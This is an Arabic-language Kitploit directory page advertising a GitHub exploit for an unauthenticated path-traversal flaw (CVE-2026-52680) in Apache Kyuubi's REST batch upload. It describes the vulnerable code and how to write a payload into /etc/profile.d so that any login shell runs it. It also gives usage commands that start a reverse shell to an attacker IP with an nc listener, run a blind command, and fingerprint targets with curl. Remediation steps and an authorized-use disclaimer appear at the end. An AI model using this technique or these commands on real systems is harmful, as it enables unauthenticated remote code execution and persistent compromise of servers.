Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-52680_exploit — استغلال لثغرة تجاوز المسار (Path Traversal) في Apache Kyuubi (CVE-2026-52680) يحقق كتابة ملفات تعسفية بدون مصادقة وتنفيذ كود عبر سكربتات الشل في profile.d. | Kitploit
أدوات/GitHubGitHub/0xdak/cve-2026-52680_exploit
توليد الحمولةآليات الاستمراريةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHub0xdak/cve-2026-52680_exploit

CVE-2026-52680_exploit

استغلال لثغرة تجاوز المسار (Path Traversal) في Apache Kyuubi (CVE-2026-52680) يحقق كتابة ملفات تعسفية بدون مصادقة وتنفيذ كود عبر سكربتات الشل في profile.d.

عرض المستودع
منذ 17 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-52680 — كتابة ملفات تعسفية عبر اجتياز المسار في Apache Kyuubi REST Batch

ثغرة كتابة ملفات تعسفية بدون مصادقة في REST API الخاصة بـ Apache Kyuubi عبر نقطة نهاية إرسال الدُفعات (multipart batch-submission).

يكتب POST /api/v1/batches (multipart/form-data) جزء resourceFile إلى $KYUUBI_HOME/work/upload/<batchId>/ باستخدام اسم الملف المقدَّم من العميل دون أي فحص لاجتياز المسار (kyuubi-common Utils.writeToTempFile):

root@kitploit:~
val filePath = Paths.get(dir.toString, s"$prefix-$identifier$suffix")   // no normalize()/containment
Files.copy(source, filePath, StandardCopyOption.REPLACE_EXISTING)

اسم ملف يحتوي على ../ يخرج من دليل الرفع → كتابة ملفات في أدلة عشوائية (CWE-22) بصلاحيات مستخدم عملية Kyuubi. يأتي Kyuubi افتراضيًا مع ضبط kyuubi.authentication=NONE، لذا فإن نقطة النهاية بدون مصادقة.

  • المتأثر: Apache Kyuubi 1.7.0 – 1.11.1
  • الإصلاح: 1.12.0 (يضيف فحص الاحتواء filePath.normalize().startsWith(dir.normalize()))
  • المنفذ الافتراضي: 10099 (واجهة REST أمامية، بدون مصادقة عندما تكون authentication=NONE)
  • CWE: 22 (اجتياز المسار) / 73 (التحكم الخارجي في اسم الملف أو المسار)
  • الأثر: كتابة ملفات تعسفية بصلاحيات مستخدم عملية Kyuubi → تنفيذ أكواد عن بُعد (RCE)

قيد مهم — يتم تشويه اسم الملف الأساسي (basename)

يقوم writeToTempFile بإدراج -<yyyyMMddHHmmss>-<counter> قبل الامتداد، لذا يمكنك التحكم في الدليل الوجهة والامتداد والمحتوى، لكن ليس في اسم الملف الأساسي الدقيق. هذا يعطّل الكتابة فوق ملفات بأسماء دقيقة (~/.ssh/authorized_keys, /etc/crontab, ~/.bashrc) — لذا استهدف بدلًا من ذلك موقعًا يتم تنفيذه عبر glob.

يكتب هذا الاستغلال ملفًا باسم /etc/profile.d/pwn.sh → يُخزَّن باسم /etc/profile.d/pwn-<ts>-<n>.sh، والذي لا يزال يطابق نمط /etc/profile.d/*.sh ويتم تحميله وتنفيذه (sourced) (دون الحاجة إلى بت التنفيذ) من قِبل كل قشرة تسجيل دخول (login shell). يُنفَّذ بصلاحيات أي مستخدم يفتح قشرة تسجيل دخول — بصلاحيات root إذا كان Kyuubi يعمل بحساب root وحدث تسجيل دخول بحساب root (مثل ssh root@host, su -, مهمة cron تُنفِّذ bash -lc).

المتطلبات

مكتبة Python 3 القياسية فقط — دون أي تبعيات.

الاستخدام

root@kitploit:~
# reverse shell (start a listener first: nc -lvnp 4444). Fires on the next login shell.
python3 exploit.py http://10.10.10.10:10099/ --shell 10.10.14.5:4444

# blind command
python3 exploit.py http://10.10.10.10:10099/ -c 'id > /tmp/pwned'

يُرجع الرفع HTTP 500 (Error opening batch session) عند عدم توفر Spark backend — وهذا متوقع وغير ضار: فالملف يُكتب قبل أن يتم إطلاق الدفعة.

كيف يعمل

جزءان بنمط multipart:

  1. batchRequest (JSON) {"batchType":"SPARK","resource":"x","className":"x","name":"pwn"} — طلب BatchRequest صالح بالحد الأدنى بحيث يجتاز التحقق ويتم الوصول إلى وجهة الرفع.
  2. resourceFile، اسم الملف ../../../../../../etc/profile.d/pwn.sh، والمحتوى = الحمولة. يكتبه Kyuubi (مع تشويه اسم الملف الأساسي) إلى /etc/profile.d/pwn-<ts>-<n>.sh.

ثم تقوم قشرة تسجيل الدخول باستدعاء /etc/profile.d/*.sh (source) وتنفيذ الحمولة.

تحديد هدف

root@kitploit:~
curl -s http://10.10.10.10:10099/api/v1/ping        # Kyuubi REST responds (no auth)

واجهة Kyuubi REST الأمامية على المنفذ 10099 مع ضبط authentication=NONE قابلة للاستغلال.

المعالجة

قم بترقية Apache Kyuubi إلى الإصدار ≥ 1.12.0، وفعِّل المصادقة (kyuubi.authentication)، ولا تعرِّض بوابة REST أبدًا لشبكات غير موثوقة، ولا تشغِّل Kyuubi بحساب root.

إخلاء مسؤولية

لأغراض اختبار الأمان المصرَّح به والتعليم فقط. استخدمه فقط ضد الأنظمة التي تمتلكها أو التي لديك إذن صريح لاختبارها.

تنزيل الأداة